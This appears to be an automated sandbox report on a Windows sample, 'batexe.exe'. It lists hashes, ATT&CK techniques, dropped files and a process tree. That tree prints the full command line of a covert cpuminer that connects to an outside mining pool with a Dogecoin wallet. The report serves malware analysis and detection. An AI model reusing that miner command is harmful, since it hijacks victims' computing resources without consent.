73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
294s
max time network
292s
platform
windows10-2004_x64
resource
win10v2004-20231222-ja
resource tags

arch:x64arch:x86image:win10v2004-20231222-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
20/02/2024, 04:12

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
3504	b2e.exe
464	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
464	cpuminer-sse2.exe
464	cpuminer-sse2.exe
464	cpuminer-sse2.exe
464	cpuminer-sse2.exe
464	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/3932-8-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3932 wrote to memory of 3504	3932	batexe.exe	84
PID 3932 wrote to memory of 3504	3932	batexe.exe	84
PID 3932 wrote to memory of 3504	3932	batexe.exe	84
PID 3504 wrote to memory of 2860	3504	b2e.exe	85
PID 3504 wrote to memory of 2860	3504	b2e.exe	85
PID 3504 wrote to memory of 2860	3504	b2e.exe	85
PID 2860 wrote to memory of 464	2860	cmd.exe	88
PID 2860 wrote to memory of 464	2860	cmd.exe	88

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3932
- C:\Users\Admin\AppData\Local\Temp\5E7B.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\5E7B.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\5E7B.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3504
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\6189.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2860
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:464

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\5E7B.tmp\b2e.exe

Filesize
6.3MB

MD5
014cd3aedfd4e867723a503c49a5345c

SHA1
58924dc7ba9044c283d0db97e3b30d02279fd66a

SHA256
97bacf559147d3ac4fc1747d597c03775d1a2aab887fd869285cf9c163b0ab7b

SHA512
cc215413ab209689fe53b0cbb68e3543b56825d37ea0edc7e32729864fbf04e2face294ee94eb8de5098b58b49ee1bfe55712cf18810897eba024e8a769efe62

Download Submit
C:\Users\Admin\AppData\Local\Temp\5E7B.tmp\b2e.exe

Filesize
10.5MB

MD5
7ce50d3755352dcd6d2e399a76f1f310

SHA1
a01ed0f688b8ea3d11ff9031e0856542b8fd4bfb

SHA256
1ea3248866c41776b2f0a0a46e996b2e5fd024100c744e898c39245f731d8910

SHA512
918a3dea3b4660e19d69f5487a711b663947d4282e07b15645ac5e853307548100042575a6e35ddf832ee3985a4f53b176e126ce7709209625f9b37624677bb8

Download Submit
C:\Users\Admin\AppData\Local\Temp\5E7B.tmp\b2e.exe

Filesize
11.5MB

MD5
8bb7a8bdea226c78396e03c81e86ae74

SHA1
9d3cae9aaa6006fb00eb32ccafb80e808fcb3b90

SHA256
24303d4c0504c6ad0b4e6e7a44e08069879ac95a7d1f6cc8588972b4ca66a4d8

SHA512
2ae2b78d7d3857642b0cc8bd9b3b1f5afb9f1bb7f21dd41e7665165604911dcd3ba2216f4e08a64fea2c7670a12b12180b59bb0b513fd29e9ea0b60fbc10dfd2

Download Submit
C:\Users\Admin\AppData\Local\Temp\6189.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.6MB

MD5
68b9ac5ae90127c74273f1cef7595a9e

SHA1
65958596f7fe21ea3e238c100800d787c3d21dbd

SHA256
1ad13e424fca379121bb202175bf2aa3435689f277211efe47db641baee60714

SHA512
7cd043504e0ac675c3b73aaf5c2614f570d9b9ba765e5d4eb256d441e06f2e3cce2d01004b6888b40fd65c656a3a422a662f547e0ed48a2c5b45ca4823ff1ec7

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
2.8MB

MD5
bf6d9376d7ecd6d92b1f10a3c0e30da7

SHA1
43301ffe0ac72010cd64f67a6efb4eb32466f765

SHA256
de51f99a6d400027f853f09acc4e033f6288ce61d76f6db674283b003fbd5e7e

SHA512
7151bb1eae8b197a45c0df76497876ab75b44a4a0e46e3e655d568fa8f9a6d8824cf18058c044018fec56ff9d1c7398080f048ee894abaabe67feef01ba27f60

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
3.2MB

MD5
8a26e04f0d0e1b113b7ffb1664e65f08

SHA1
34f4ff5bf206676245c8ffc9886726b00ecebc99

SHA256
e4d630cb7727e38e073998c76b737c1eb09fd982a7d26156d392409f4c5154eb

SHA512
8a797bc62cff20959132a70d733b824add1768d18dccf644fc00d17611e27ecfebca66456bc6ece168aa4df80b7e4f7c4cbf2550e8934740c2304d7625a082e7

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
3.2MB

MD5
6f64e1b7763ccd26000b3cb6ee534ffc

SHA1
f98c0ec2528a7ac071299ab95235d1582bd04234

SHA256
872e06a1fc964a2d9ddd0bb7de31331224119d121421d4b1f0952e5b33550301

SHA512
f14496bd7ccc2c50467f4b62cb884ce6b8aef767216ae3cfb20e73487e02b62473207b62957cf437b29cf43dfcea822841ec9f06e81e29936cf5b911ca6ed707

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/464-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/464-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/464-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/464-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/464-45-0x000000006D880000-0x000000006D918000-memory.dmp

Filesize
608KB

Download
memory/464-46-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/464-47-0x00000000010D0000-0x0000000002985000-memory.dmp

Filesize
24.7MB

Download
memory/464-48-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/464-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/464-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/464-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/464-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/464-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/464-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3504-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3504-9-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3932-8-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download